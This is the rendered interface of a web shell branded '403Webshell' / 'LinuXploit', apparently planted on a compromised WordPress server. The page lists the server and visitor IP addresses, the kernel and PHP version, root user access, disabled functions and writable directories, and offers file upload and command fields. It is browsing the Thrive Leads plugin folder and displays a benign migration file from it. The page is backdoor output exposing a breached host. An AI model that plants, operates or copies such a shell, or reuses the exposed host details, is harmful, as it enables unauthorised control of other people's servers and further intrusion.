403Webshell
Server IP : 65.109.86.83  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/thrive-leads/database/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/thrive-leads/database/migrations/ajaxloadoption-1.12.php
<?php

defined( 'TVE_LEADS_DB_UPGRADE' ) or exit();

/**
 * AJAX auto-loading of forms should be enabled by default
 */
add_option( 'tve_leads_ajax_load', 0 );

//remove default value for position field
global $wpdb;
$variations = tve_leads_table_name( 'form_variations' );
$posts      = $wpdb->posts;
$wpdb->query( "ALTER TABLE `{$variations}` CHANGE `position` `position` VARCHAR( 32 ) " );
//update ribbons to have display top as position
$wpdb->query( "UPDATE `{$variations}` JOIN `{$posts}` ON `{$variations}`.`post_parent`=`{$posts}`.ID SET `{$variations}`.`position`='top' WHERE `{$posts}`.post_title='Ribbon'" );

Youez - 2016 - github.com/yon3zu
LinuXploit